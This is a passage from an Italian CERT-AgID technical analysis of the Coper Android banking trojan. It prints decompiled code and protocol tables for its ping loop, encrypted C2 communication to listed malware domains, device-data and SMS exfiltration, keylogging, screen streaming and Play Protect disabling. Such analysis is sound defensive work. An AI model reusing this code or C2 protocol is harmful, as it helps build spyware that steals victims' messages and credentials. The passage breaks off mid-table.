PingReceiver.class), 0); alarm.setRepeating(0,\r\nSystem.currentTimeMillis(), 60000, intent); }\r\nIl ping invia al C2 una serie di dati che analizzeremo meglio in seguito. Nelle SharedPreferences è presente il valore\r\n“is_registered” che è usato per determinare se il bot ha già effettuato la registrazione con il C2, ovvero se ha già effettuato\r\nun ping. Il primo Ping differisce, come informazioni dai successivi.\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 14 of 26\n\nOltre all’avvio del ciclo di Ping, il receiver lancia anche il servizio Bot che ha lo scopo di eseguire alcuni comandi ricevuti\r\ndal C2.\r\nL’Activity principale\r\nInfine, c’è l’Activity principale. Stranamente questa activity non necessariamente cerca di far installare il servizio di\r\naccessibilità all’utente.\r\nPer prima cosa salva il nome del proprio package nelle SharedPreferences, questo verrà usato in seguito per nasconderne\r\nl’icona se richiesto, a conferma del fatto che l’activity non è fondamentale.\r\nIl codice dell’activity prosegue effettuando un’operazione particolare: richiama infatti Misc.registerAllIntents\r\npublic static void registerAllIntents(Context context) { Intent intent = new Intent(); for (Field field :\r\nintent.getClass().getDeclaredFields()) { int modifiers = field.getModifiers(); if (Modifier.isPublic(modifiers)\r\n\u0026\u0026 Modifier.isStatic(modifiers) \u0026\u0026 Modifier.isFinal(modifiers) \u0026\u0026 field.getType().equals(String.class)) { try {\r\ncontext.registerReceiver(new RepeatedPingReceiver(), new IntentFilter((String) field.get(intent))); } catch\r\n(Exception e) { registerMainReceiver(context); return; } } } }\r\nQuesto metodo tenta di registrare RepeatedPingReceiver (già descritto sopra) con ogni possibile evento disponibile. Questo\r\nassicura al malware l’esecuzione del ciclo di ping in ogni condizione (notare che il codice di Misc.startPinging può essere\r\nchiamato n volte perchè un servizio in esecuzione non viene fatto ripartire da Android e perchè l’impostazione della sveglia\r\ncancella quella precedente).\r\nSolo se opportunamente configurato, viene tentato di indurre l’utente ad installare il servizio di accessibilità:\r\nif (SharedPrefs.getBool(applicationContext, \"show_acsb\", Boolean.FALSE).booleanValue()) { Intent intent = new\r\nIntent(applicationContext, ShowACSBSettingsOrUnlockScreen.class); intent.addFlags(268435456);\r\napplicationContext.startActivity(intent); return; }\r\nDi default “show_acsb” è impostato a false, poichè il file delle preferenze è vuoto inizialmente.\r\nPerchè non viene richiesto di installare un servizio di accessibilità?\r\nAnche se l’utente non è indotto a compiere questa installazione, Coper avvia comunque il ciclo di Ping ed il servizio di Bot.\r\nAvviene quindi una comunicazione con il C2 dove:\r\nNel primo ping (di registrazione) sono inviate varie informazioni sul dispositivo, tra cui lingua e paese.\r\nIl C2 può, nella sua risposta, indicare di indurre l’utente ad installare il servizio di accessibilità.\r\nConsiderando che uno dei comandi inviabili dal C2 è “kill_bot“, per la rimozione del malware, è ipotizzabile che Coper non\r\ninstalli il servizio di accessibilità finchè il C2 non ha opportunamente verificato la nazionalità della vittima. Questo\r\nmodo di fare non è nuovo: l’aver spostato il controllo lato server impedisce agli analisti di fare attribuzione basata sui paesi\r\nimmuni.\r\nIl Ciclo di Ping e Bot\r\nIl diagramma pubblicato prima è molto generico. Per capire come funziona Coper è necessario focalizzarsi sul ciclo di Ping\r\ne la classe Bot. Lo schema qui sotto espone meglio le interazioni di questi componenti:\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 15 of 26\n\nLa classe che si occupa di comunicare con il C2 è Net. Questa ha un metodo statico (Net.makeRequest) che ha il compito di\r\ninviare al C2 un ping.\r\nIl codice è strutturato in modo che le istanze di Net prendano come parametro del costruttore un payload json, al quale sono\r\naggiunte una serie di proprietà e poi il tutto è inviato al C2. In questo modo, la classe può inviare non sono ping ma anche\r\nrichieste differenti (ad esempio gli SMS ricevuti) pur mantenendo uno schema di base.\r\nPer generare il payload del primo ping viene usato il seguente metodo:\r\npublic static JSONObject makeUnregisteredRequest(Context context) { JSONObject jSONObject = new JSONObject();\r\ntry { jSONObject.put(\"xc\", \"bR\"); jSONObject.put(\"tA\", Misc.getDeviceID(context)); jSONObject.put(\"tB\",\r\nMisc.getPhoneNumber(context)); jSONObject.put(\"tC\", Misc.getCountry(context)); jSONObject.put(\"tD\",\r\nMisc.getLanguage(context)); jSONObject.put(\"tE\", Misc.getBuildRelease()); jSONObject.put(\"tF\",\r\nMisc.getDeviceModel()); jSONObject.put(\"tG\", Misc.getPhoneOperator(context)); jSONObject.put(\"lA\",\r\nMisc.getSystemApps(context)); return jSONObject; } catch (JSONException e) { e.printStackTrace(); return null;\r\n} }\r\nCome si può notare, al C2 sono inviati tra l’altro:\r\nNumero di telefono\r\nPaese e lingua del dispositivo\r\nNome dell’operatore\r\nApplicazioni di sistema installate\r\nQuesto permette al C2 di decidere quale comando inviare in base alla nazionalità della vittima.\r\nI ping successivi usano il seguente payload:\r\npublic static JSONObject makeRegisteredRequest(Context context, String[] tasks) { JSONObject jSONObject = new\r\nJSONObject(); try { jSONObject.put(\"xc\", \"bP\"); String getDeviceID = Misc.getDeviceID(context); if\r\n(!getDeviceID.isEmpty()) { jSONObject.put(\"tA\", getDeviceID); } String getPhoneNumber =\r\nMisc.getPhoneNumber(context); if (!getPhoneNumber.isEmpty()) { jSONObject.put(\"tB\", getPhoneNumber); } if\r\n(Misc.hasElapsed(context, \"last_applist_update\", 600)) { Log.i(TAG, \"Updating installed apps list\"); String\r\ngetString = SharedPrefs.getString(context, \"installed_pkgs\", \"\"); String getInstalledApps =\r\nMisc.getInstalledApps(context); if (!getInstalledApps.isEmpty() \u0026\u0026 !getString.equals(getInstalledApps)) {\r\nSharedPrefs.putString(context, \"installed_pkgs\", getInstalledApps); jSONObject.put(\"lA\", getInstalledApps);\r\nSharedPrefs.putInt(context, \"bot_smarts_ver\", -1); } } JSONArray taskIdsAndTrs = new JSONArray(); for (String\r\ntheTask : tasks) { JSONObject taskObj = new JSONObject(theTask); String taskId1 = taskObj.getString(\"tid1\");\r\nString taskTr_inner = taskObj.getString(\"tr_inner\"); if (taskId1 != null \u0026\u0026 !taskId1.isEmpty()) { if\r\n(!taskId1.equals(\"0\")) { StringBuilder sb = new StringBuilder(); sb.append(taskId1); sb.append(\":\");\r\nsb.append(taskTr_inner); taskIdsAndTrs.put(sb.toString()); } } } jSONObject.put(\"rZ\", taskIdsAndTrs); String\r\ngetString2 = SharedPrefs.getString(context, \"new_sms\", \"\"); if (getString2.isEmpty()) { return jSONObject; }\r\njSONObject.put(\"nS\", getString2); return jSONObject; } catch (JSONException e) { e.printStackTrace(); return\r\nnull; } }\r\nSono presenti meno informazioni e, in particolare, troviamo (oltre ad alcune info già viste):\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 16 of 26\n\nGli SMS ricevuti e salvati (e non ancora rimossi secondo ordine del C2).\r\nLe app installate (ma solo ogni 10 minuti).\r\nI task ed i relativi risultati eseguiti (i task sono descritti in seguito).\r\nDato un payload JSON da inviare (sia di registrazione, di ping, di errore o altro) questo viene passato ad una nuova instanza\r\ndi Net. Net eredita da AsyncTask per cui è eseguibile in background in un executor: il metodo onBackground tenta l’invio 5\r\nvolte con una pausa di 5 secondi tra ogni tentativo.\r\nOgni tentativo di invio usa Net.doPing il quale ha due compiti:\r\n1. aumentare il payload con informazioni standard;\r\n2. effettuare l’effettiva richiesta HTTP e creare un oggetto Response con la risposta ottenuta avendo cura di gestire\r\neventuali errori.\r\nInformazioni standard aggiunte ad ogni payload\r\nthis.payload.put(\"lB\", Config.UNKNOWN1); if (!Config.applicationTitle.isEmpty()) { this.payload.put(\"lL\",\r\nMisc.hasPackage(this.context, Config.applicationTitle) ? \"1\" : \"0\"); } this.payload.put(\"bI\",\r\nMisc.makeBotID(this.context)); this.payload.put(\"iA\", Misc.isAppTheSMSManager(this.context) ? \"1\" : \"0\");\r\nthis.payload.put(\"dA\", SharedPrefs.getBool(this.context, \"device_admin_set\", Boolean.FALSE).booleanValue() ?\r\n\"1\" : \"0\"); this.payload.put(\"lK\", SharedPrefs.getBool(this.context, \"lock_on\", bool).booleanValue() ? \"1\" :\r\n\"0\"); try { String acsbStatus = Misc.isACSBInstalled(this.context) ? \"1\" : \"0\"; if\r\n(Misc.isACSBInstalled(this.context) \u0026\u0026 ACSBService.instance == null) { acsbStatus = \"2\"; }\r\nthis.payload.put(\"iAc\", acsbStatus); this.payload.put(\"iPa\",\r\nMisc.isNotificationListenerInstalled(this.context).booleanValue() ? \"1\" : \"0\"); this.payload.put(\"iBC\",\r\nMisc.getBatteryLevel(this.context)); this.payload.put(\"iCP\", Misc.isDevicePlugged(this.context) ? \"1\" : \"0\");\r\nthis.payload.put(\"iSE\", !Misc.isLockscreenOn(this.context) ? \"1\" : \"0\"); this.payload.put(\"iSp\",\r\nSharedPrefs.getInt(this.context, \"check_perms_attempts\", 0)); this.payload.put(\"iFp\",\r\nSharedPrefs.getString(this.context, \"perms_failed\", \"\")); this.payload.put(\"cTsk\",\r\nSharedPrefs.getString(this.context, \"acsb_task\", \"\")); } catch (Exception e) { Log.e(TAG, \"Net extra params\r\nexception: \" + e.getMessage()); e.printStackTrace(); } this.payload.put(\"up\", SharedPrefs.getLong(this.context,\r\n\"uptime\", 0L)); this.payload.put(\"kL\", SharedPrefs.getBool(this.context, \"keylogger_enabled\",\r\nBoolean.FALSE).booleanValue() ? \"1\" : \"0\"); this.payload.put(\"vnc\", makeVNCString()); this.payload.put(\"fgM\",\r\nSharedPrefs.getBool(this.context, \"fg_mode\", Boolean.FALSE).booleanValue() ? \"1\" : \"0\");\r\nthis.payload.put(\"iAg\", Misc.isLowRAM(this.context)); String realIP = SharedPrefs.getString(this.context,\r\n\"real_ip\", \"\"); if (!realIP.isEmpty()) { this.payload.put(\"rIP\", realIP); }\r\nDi seguito un elenco delle informazioni condivise:\r\nNome dell’applicazione. Questo è un nome configurabile, può aiutare a censire la campagna lato attaccanti.\r\nL’ID del bot. L’ID del bot e del device differiscono. Il secondo è l’IMEI se disponibile, altrimenti l’ANDROID_ID,\r\nmentre il primo è un valore derivato dalle caratteristiche hardware del dispositivo. Entrambi variano al variare del\r\ntelefono quindi non è chiara la distinzione.\r\nSe l’app può gestire gli SMS.\r\nSe l’app è tra le app admin.\r\nSe è attivo i locking del dispositivo fatto dal malware.\r\nSe e come il servizio di accessibilità è installato. Questo permette di farlo installare o rimuovere.\r\nSe l’app può ricevere le notifiche di altre app.\r\nIl livello della batteria e se è connesso al caricatore.\r\nSe il cellulare ha lo schermo bloccato (la normale funzionalità di blocco schermo).\r\nSe l’app ha ricevuto i permessi necessari al malware.\r\nSe c’è un task da eseguire per il servizio di accessibilità.\r\nDa quanto tempo il bot è registrato.\r\nSe il keylogger è attivo.\r\nLa configurazione del servizio VNC (usato per simulare desktop remoto).\r\nSe il bot è eseguito come servizio foreground (visibile all’utente ma non interrompibile).\r\nSe il dispositivo ha poca RAM.\r\nL’IP esterno del dispositivo.\r\nTutte queste informazioni forniscono una paronamica generale sul dispositivo infetto e sicuramente andranno ad aggiornare\r\nuna elaborata dashboard.\r\nUna volta costruito il JSON finale, questo viene inviato all’ultimo dominio funzionante usato o, la prima volta, al primo\r\nvalido.\r\nLa comunicazione con il C2\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 17 of 26\n\nDi seguito il codice con i domini censiti nella classe Config insieme ad altri parametri individuati in questo campione:\r\npublic static final String domains =\r\n\"https://ssgsjhfsdfdsjhd.info/MzYzMzJjZDI5YzYx/|https://vvjfsdsdghsdghfvffdf.top/MzYzMzJjZDI5YzYx/|https://dfdfdfdgdffjdhbf.org/MzYzMzJjZ\r\npublic static final String applicationTitle = RC4.identity(\"\"); public static final String UNKNOWN1 =\r\n\"DONOTFILTER\"; public static final String IPAPIUrl = \"http://www.ip-api.com/json\"; public static final String\r\ncustomHeaderName = \"Packets-sent\";\r\nNet.doPing si occupa di trovare un dominio valido facendo uso di Net.doHTTPPost che è il vero metodo che effettua la\r\nconnessione HTTP al C2.\r\nQuesto è l’estratto del codice rilevante di quel metodo:\r\nHttpPost httpPost = new HttpPost(domain); httpPost.setHeader(Config.customHeaderName,\r\nConfig.customHeaderValue); String jSONObject2 = payload.toString(); String encryptPacketPayload =\r\nMisc.encryptPacketPayload(jSONObject2); if (encryptPacketPayload == null) { encryptPacketPayload = jSONObject2;\r\n} byte[] bytes = encryptPacketPayload.getBytes(\"UTF-8\"); httpPost.setHeader(\"Content-Encoding\", \"gzip\");\r\nByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); MaxGZIPOutputStream class64a = new\r\nMaxGZIPOutputStream(byteArrayOutputStream); class64a.write(bytes); class64a.close(); ByteArrayEntity\r\nbyteArrayEntity = new ByteArrayEntity(byteArrayOutputStream.toByteArray());\r\nbyteArrayEntity.setContentEncoding(\"gzip\"); httpPost.setEntity(byteArrayEntity);\r\nDa notare che:\r\nViene usato un header custom. Questo sample usa: Packets-sent: 60170\r\nIl JSON è serializzato in una stringa.\r\nLa stringa è cifrata. La cifratura è in Misc.encryptPacketPayload ma brevemente: Viene usato AES-ECB-128 con\r\npadding PKCS5. La chiave è il valore dell’header custom (60170) dopo che ne viene preso l’MD5 e convertito in\r\nesadecimale. Il risultato è codificato in base64.\r\nLa stringa viene compressa con GZIP, livello massimo (9). Anche se comprimere dopo aver cifrato non ha molto\r\nsenso.\r\nIl risultato è inviato come corpo della richiesta POST.\r\nL’operazione di cifratura è la seguente:\r\nmd5sum(string):\r\n return to_hex(md5(string)); //to_hex non aggiunge prefissi 0x\r\ncifra(payload):\r\n return to_base64(AES_encrypt(mode = ECB, padding = PKCS5, key = md5sum(Config.customHeaderValue), message = json_to_str\r\nSe l’operazione va a buon fine, viene letta la risposta. Questa passa per un processo di decifratura che è inverso a quello\r\nusato per l’invio. Non viene però effettuato il decoding JSON poichè la stringa ottenuta è passata alla classe Response che si\r\noccuperà di processare la risposta.\r\nLa classe Response effettua due tipi di azioni:\r\n1. modifica le SharedPreference, orchestrando quindi altri componenti del malware;\r\n2. esegue dei task.\r\nLa nomenclatura di Coper è un po’ confusionaria ma in generale le funzionalità si possono dividere in:\r\nInterazioni. Solo per operazioni che fanno interagire il malware con l’utente (es: gli inject) o con il dispositivo (es:\r\ndandosi i permessi automaticamente).\r\nVNC. E’ una riproduzione di un desktop remoto. Comprende streaming, screenshot e task appositi.\r\nVNC task. Sono operazioni a supporto del desktop remoto e simulano l’interazione dell’utente con il dispositivo.\r\nTask. Sono operazioni richieste dal C2 che non rientrano nelle categorie precedenti.\r\nACSB task. Questa è l’operazione che il servizio di accessibilità deve compiere in virtù dell’utente (ad esempio\r\ndisabilitare Play Protect). Non è un task dato dal C2 ma è conseguenza delle azioni richieste da quest’ultimo. Viene\r\nimpostato dalla classe Bot ed eseguito dalla classe ACSBService (il servizio di accessibilità).\r\nIl codice di riferimento si trova in Response.initResponse.\r\nLa risposta del C2 è un JSON\r\nLe principale funzionalità sono:\r\nPossibili domini C2 extra.\r\nCodice HTML degli inject da usare.\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 18 of 26\n\nAbilitazione e disabilitazione inject.\r\nAbilitazione e disabilitazione keylogger.\r\nApp da disinstallare.\r\nApp di cui impedire l’utilizzo (simulando la pressione del tasto home).\r\nApp di cui bloccare le notifiche.\r\nVari delay per specifiche funzionalità (es: per gli inject).\r\nPuò effettuare chiamate a numeri arbitrari.\r\nPuò inviare SMS arbitrari.\r\nHa un funzionalità di auto test (vedi dopo).\r\nAbilitazione intercettazione notifiche.\r\nBlocco software del telefono (e relativo sblocco). Questa è la classica funzionalità per impedire l’utilizzo del\r\ntelefono. Viene disattivato l’audio, la luminosità ridotta al minimo (se possibile) e mostrata un overlay (o una\r\nwebview se non possibile) nera che oscura il contenuto dello schermo.\r\nPuò mostrare notifiche arbitrarie per aprire app arbitrarie.\r\nPuò disinstallarsi.\r\nPuò abilitare la funzionalità VNC per fare streaming dello schermo, screenshot, silenziare il telefono, cambiare la\r\nluminosità, cambiare il timeout per il blocco schermo a mezz’ora.\r\nPuò simulare l’interazione dell’utente sullo schermo (tap, tap lunghi, gesture, copia-incolla, pressione tasti fisici,\r\nswipe)\r\nI task\r\nI task sono salvati in un file di nome .q\u003cpackage malware\u003e nella directory dell’applicazione. In formato JSON.\r\nI task ed i task VNC sono eseguiti direttamente da Response. Mentre le Interazioni e la funzionalità VNC è eseguita dalla\r\nclasse Bot. L’ACSB task è ovviamente eseguito dal servizio di accessibilità ma su richiesta della classe Bot.\r\nQuesta classe è eseguita insieme al Ping e finisce per eseguire un ciclo in cui le SharedPreferences sono lette per verificare\r\nquale azione compiere (Bot.mainLoop).\r\nCoper si preoccupa di acquisire un WakeLock per evitare la sospensione del bot (fintanto che non si sarà messo nella\r\nwhitelist dell’ottimizzazione batteria).\r\nIl bot si occupa inoltre di aggiornare l’uptime salvato nelle SharedPreferences, di verificare la presenza di nuovi Inject da\r\nscaricare, di ottenere le informazioni relative all’IP esterno del dispositivo (tramite un servizio di IP info in\r\nConfig.IPAPIUrl, nello specifico http://www.ip-api.com/json) e di fare un nuovo ping al C2.\r\nSe il servizio di accessibilità è installato\r\nQualora il servizio di accessibilità sia installato, vengono effettuate anche le seguenti operazioni (in un ciclo):\r\nParsa il comando “vnc” per impostare vari valori nelle SharedPreferences al fine di coordinare il servizio di\r\naccessibilità ed i servizi di screenshot e streaming. Inoltre disabilita notifiche, luminosità e suono se richiesto.\r\nL’intento è quello di operare sul dispositivo della vittima senza farsi notare.\r\nSe non è attivo il comando “vnc”, fa eseguire al servizio di accessibilità l’ACSB task se presente.\r\nSe “vnc” non è attivo, invia i dati del keylogger (salvati in un file kl.txt nella directory dell’app) al C2.\r\nSe “vnc” non è attivo, blocca il dispositivo (come indicato sopra) se richiesto.\r\nSe “vnc” non è attivo, prova ad impostarsi come gestore SMS.\r\nSe “vnc” non è attivo, prova a mettersi in whitelist per l’ottimizzazione batteria.\r\nSe “vnc” non è attivo, prova ad impostarsi come Device Admin e rimuovere le altre app Device admin.\r\nSe “vnc” non è attivo, prova a disabilitare Play Protect (servizio di protezione di Google).\r\nSe “vnc” non è attivo, prova ad impostarsi su Xiomi Autostart.\r\nSe “vnc” non è attivo, prova ad ottenere il permesso per scrivere le impostazioni di sistema.\r\nSe “vnc” non è attivo, prova ad ottenere automaticamente i permessi di cui ha bisogno (descritti ad inizio articolo).\r\nSe il servizio di accessibilità NON è installato\r\nQualora il servizio di accessibilità non sia installato, viene fatta partire una finestra di decoy per indurre l’utente ad\r\ninstallarlo. Una volta installato, cancella le notifiche (per non destare sospetti nell’utente) e cancella la propria icona dalla\r\nhome (nei dispositivi dove questo è possibile). Così facendo il malware diviene “invisibile” per l’utente.\r\nIl decoy consiste in due componenti:\r\n1. una finestra opzionale contenente una WebView e che mostra il codice HTML in Config.HTMLs;\r\n2. un messaggio Toast che induce l’utente ad abilitare il servizio.\r\nÈ interessante notare che, una volta abilitato il servizio di accessibilità, l’utente è riportato alla home perchè lo stesso\r\nservizio impedisce di riaccedere alle impostazioni di accessibilità.\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 19 of 26\n\nL’HTML di decoy usato ha questa forma nel sample analizzato:\r\nIl Toast mostrato è generato con questo codice:\r\nMisc.showToast(getApplicationContext(), (Misc.isXIOMI() ? \"Apri Servizi scaricati; Enable %APP% service\" :\r\nMisc.isSamsung() ? \"Apri Servizi installati; Abilitare %APP% servizio\" : \"Abilitare %APP%\r\nservizio\").replace(\"%APP%\", Misc.getFullAppLabel(this)));\r\nUna volta installato, il servizio di accessibilità può eseguire dei task in automatico (oltre che funzione da keylogger e\r\nstreamer per il servizio VNC).\r\nIl codice per eseguire questi nuovi task si trova in ACSBService.doAcsbJob (con l’aiuto della classe Lay), questi includono:\r\nMinimizzare ogni app che contiene il nome del malware (si intende il nome fittizio del malware). Questo impedisce\r\nla disinstallazione o operazioni di verifica.\r\nAbilitare l’utilizzo di TeamViewer se presente.\r\nImpostare l’app come gestore SMS.\r\nDisabilitare Play Protect.\r\nDisinstallare un’app.\r\nImpostarsi in whitelist per la batteria.\r\nImpostarsi in Xiomi Autostart.\r\nImpostarsi come ricevitore di notifiche.\r\nImpostarsi come Device Admin.\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 20 of 26\n\nConcedersi i permessi di cui necessita.\r\nConcedersi il permesso di scrivere le impostazioni di sistema.\r\nConcedersi il permesso di creare finestre overlay (sopra ogni altra finestra).\r\nEscludersi dalle statistiche di utilizzo.\r\nEseguire un comando “vnc_screen” per darsi il permesso di fare streaming dello schermo (Tramite la classe\r\nScreenshotPermissionGranted).\r\nI nuovi entry-point\r\nAnalizziamo i nuovi entry-point che il core può abilitare. Si tratta della ricezione di un evento di accessibilità, di una notifica\r\ne della gestione dello stato di Device Admin.\r\nAdminRec è il receiver che gestisce lo stato di Admin. Il suo codice è molto semplice ma anche qui Coper usa messaggi\r\nfuorvianti per indurre la vittima a non disabilitare lo stato di Admin (cosa che comunque non è possibile quando il servizio\r\ndi accessibilità è attivo). Infatti, se si prova a rimuovere l’app dall’elenco degli Admin, viene mostrato un messaggio (in\r\ninglese) che chiede all’utente se vuole cancellare tutti i dati, nel tentativo di scoraggiarlo.\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 21 of 26\n\nQualora l’app venga effettivamente rimossa dallo stato di Admin, come estremo tentativo Coper riapre le impostazioni di\r\nAdmin in modo che il servizio di accessibilità la reinserisca in automatico.\r\nQuando invece viene ricevuta una notifica, questa è inviata al C2 e se nelle SharedPreferences è indicato, la notifica è anche\r\ncancellata per evitare che l’utente la veda.\r\nIl servizio di accessibilità esegue una serie di operazioni:\r\nSe lo streaming del servizio VNC è attivo, viene inviata la gerarchia delle view dello schermo, con tanto di testo.\r\nQuesto permette di ricostruire fedelmente quanto visibile nello schermo.\r\nSe è attiva un’app per cui è presente un inject abilitato, questo viene mostrato.\r\nImpedisce l’accesso alle app indicate nelle shared preferences.\r\nEsegue l’ACSB task.\r\nFunziona da keylogger. Particolarità interessante è che i dati rubati includono informazioni di contesto come il\r\npackage ed il nome della risorsa da cui provengono, eventuali URL. Inoltre Coper ha una funzionalità apposita per il\r\nfurto del PIN/password/pattern per lo sblocco dello schermo.\r\nIl keylogger di Coper è piuttosto distintivo poichè fornisce informazioni molto utili agli attaccanti e riesce perfino a\r\nrecuperare i codici di sblocco del telefono. I dati acquisiti sono salvati in un file kl.txt e poi inviati dal Bot.\r\nIl servizio VNC non utilizza l’omonima app, sfrutta invece il servizio di accessibilità per fare streaming del layout visibile\r\nsullo schermo oppure ScreenStreamService e SendScreenshotSrv per fare screenshot ogni secondo ed inviarli al C2.\r\nLo stream del layout richiede poca banda ma non mostra le immagini (solo testo e struttura) mentre lo stream a screenshot\r\nemula uno streaming come VNC ma richiede molta più banda perchè le immagini dei vari screenshot non sono compresse\r\nlungo l’asse temporale come avviene in uno streaming video.\r\nCoper ha una funzionalità di Auto-Test (classe AutoTest) che permette di conoscere lo stato del bot.\r\nViene attivata quando il C2 chiede al bot di inviare un SMS al numero “7��”. Il contenuto del messaggio è il comando\r\nAuto-Test da eseguire.\r\nI comandi Auto-Test sono:\r\nsmarts – per ricevere gli inject configurati;\r\nprefs – per ricevere le shared preferences;\r\ninfo – per ricevere lo stato del servizio Bot e dei due di streaming e i permessi ottenuti.\r\nFormato delle richieste e risposte verso il C2\r\nCome esposto sopra, le richieste al C2 sono in formato JSON. Ogni richiesta (ping, registrazione, nuovo sms, screenshot, e\r\ncosì via) è un oggetto JSON con il suo formato a cui sono aggiunti delle proprietà standard.\r\nIl JSON è poi serializzato in una stringa, cifrato con AES-128-ECB con padding PCKS5 e chiave presa dalla configurazione\r\nstatica del malware (Config.customHeaderValue, 60170 nel campione analizzato), il risultato è convertito in base64 e GZIP.\r\nIl tutto è inviato alle URL configurate tramite POST HTTP standard a cui è aggiunto un header di nome\r\nConfig.customHeaderName (Packet-Sent nel campione analizzato) e valore pari alla chiave AES usata.\r\nDa investigare se il C2 usa questo header per ottenere la chiave di decifratura o se l’header è usato per discernere le richieste\r\nfatte dal malware.\r\nNota: con “0” o “1” si intendono le stringhe contenenti i caratteri ‘0’ e ‘1’, non i numeri 0 e 1.\r\nProprietà standard di ogni richiesta\r\nlB Funzionalità non chiara. Il valore è preso da Config e vale DONOTFILTER.\r\nlL “1” se nel dispositivo è installata l’app Config.applicationTitle, il carattere “0” altrimenti.\r\nbI ID del bot.\r\niA “1” o “0” a seconda se il malware è gestore di SMS.\r\ndA “1” o “0” a seconda se il malware è Device Admin.\r\nlK “1” o “0” a seconda se è attivo il blocco software del dispositivo.\r\niAc\r\n“0” se il servizio di accessibilità non è installato, “1” se lo è ed è avviato, “2” se lo è ma non è\r\navviato.\r\niPa “1” o “0” a seconda se il receiver delle notifiche è stato abilitato.\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 22 of 26\n\niBC Intero con il livello della batteria.\r\niCP “1” o “0” a seconda se il dispositivo è collegato alla corrente.\r\niSE “1” o “0” a seconda se lo schermo è bloccato.\r\niSp\r\nIntero che indica il numero di volte che il malware ha provato ad assegnarsi automaticamente i\r\npermessi.\r\niFp\r\nElenco CSV dei permessi non ancora ottenuti (i nomi NON sono FQN, esempio: SEND_SMS e\r\nnon android.permission.SEND_SMS).\r\ncTsk Task ACSB corrente o “”.\r\nup Intero che rappresenta l’uptime (secondi dalla registrazione) o 0 se mai registrato.\r\nkL “1” o “0” a seconda se il keylogger è abilitato.\r\nvnc Comandi VNC correnti.\r\nfgM “1” o “0” a seconda se il servizio Bot è in foreground o meno.\r\niAg “1” o “0” a seconda se il dispositivo è un dispositivo con poca RAM.\r\nrIP Informazioni sull’IP esterno del dispositivo. Si veda Net.getRealIPInfo.\r\nxc Tipo di richiesta\r\nRegistrazione\r\nxc bR\r\ntA ID dispositivo\r\ntB Numero di telefono\r\ntC Paese del dispositivo\r\ntD Lingua del dispositivo\r\ntE Build release del dispositivo\r\ntF Modello del dispositivo\r\ntG Nome dell’operatore\r\nlA App di sistema installate\r\nPing\r\nxc bP\r\ntA ID dispositivo\r\ntB Numero di telefono\r\nlA App installate. Presente ogni 10 minuti.\r\nrZ Array JSON in cui ogni elemento è “task_id: task_result” per gli ultimi task del bot.\r\nnS\r\nJSON che rappresenta gli SMS ricevuti. Si vedano Misc.removeFromNewSMS e\r\nSMSStealer.makeObjFromSMS.\r\nNuovo SMS ricevuto\r\nxc bS\r\nsA Mittente\r\nsB Testo del messaggio\r\nsT Data in formato dd/MM/yyyy HH:mm:ss\r\nErrore (eccezioni e simili)\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 23 of 26\n\nxc bP\r\nrZ Un array vuoto.\r\neM Messaggio di errore\r\nStringhe\r\nxc bP\r\nrZ Un array vuoto.\r\nkM Stringa da inviare. Usata per alcune notifiche al C2.\r\nScreenshot\r\nxc vncScr\r\nfn Nome del file\r\nbs Dati del file in base64\r\nDati rubati con inject\r\nxc sSD\r\nsPK Package dell’inject\r\nspD Dati dell’Inject.\r\nsFd Booleano. Vero se questo pacchetto contiene tutti i dati rubabili con l’Inject.\r\nRichiesta di download inject\r\nxc gSWI\r\nInvio delle informazione di layout della finestra corrente\r\nxc bP\r\nrZ Array vuoto\r\nvncd Dati. Si veda VNC.sendRootDataToPanel.\r\nRisposta del C2\r\nresponse\r\nSe REG_SUCCESS il bot si è registrato correttamente. In realtà\r\nREG_SUCCESS è cercato come stringa nella risposta, potrebbe comparire in\r\nogni proprietà.\r\nresponse\r\nSe una stringa che inizia per SMS_OK_ allora è seguita da un elenco CSV\r\ndegli SMS correttamente ricevuti (saranno rimossi dalle SharedPreferences).\r\nresponse\r\nSe è un oggetto che contiene un array “smarts” rappresenta gli inject da\r\nsalvare. vedi sotto.\r\npanel_starts_ver Progressivo per indicare la versione degli inject corrente\r\ninjects_to_enable CSV degli inject da abilitare\r\ninjects_to_disable CSV degli inhect da disabilitare\r\nextra_domains CSV degli URL C2 aggiuntivi\r\nblock_push_apps CSV delle app di cui bloccare le notifica\r\nminime_apps CSV delle app di cui impedire l’accesso\r\nuninstall_apps CSV delle app da disintallare\r\nblock_push_delay Delay per il blocco delle notifiche (prima di questo delay non è fatto)\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 24 of 26\n\nminimize_delay Simile a sopra\r\nuninstall_delay Simile a sopra\r\nkeylogger_delay Simile a sopra\r\nget_device_admin_delay Simile a sopra\r\ninjects_delay Simile a sopra\r\nkeylogger_enabled 1 se abilitare il keylogger\r\nnet_delay Delay per i ping\r\nvnc_tasks Task VNC, array\r\ntasks Task, array\r\nFormato degli inject\r\nOgni elemento dell’array è un oggetto JSON così strutturato:\r\nis_active Boolean vero se l’inject è attivo\r\npackage HTML dell’inject o URL\r\ncap_data HTML dell’inject (con i dati catturati?) o URL\r\nshow_cap Se usare data o cap_data\r\ntype 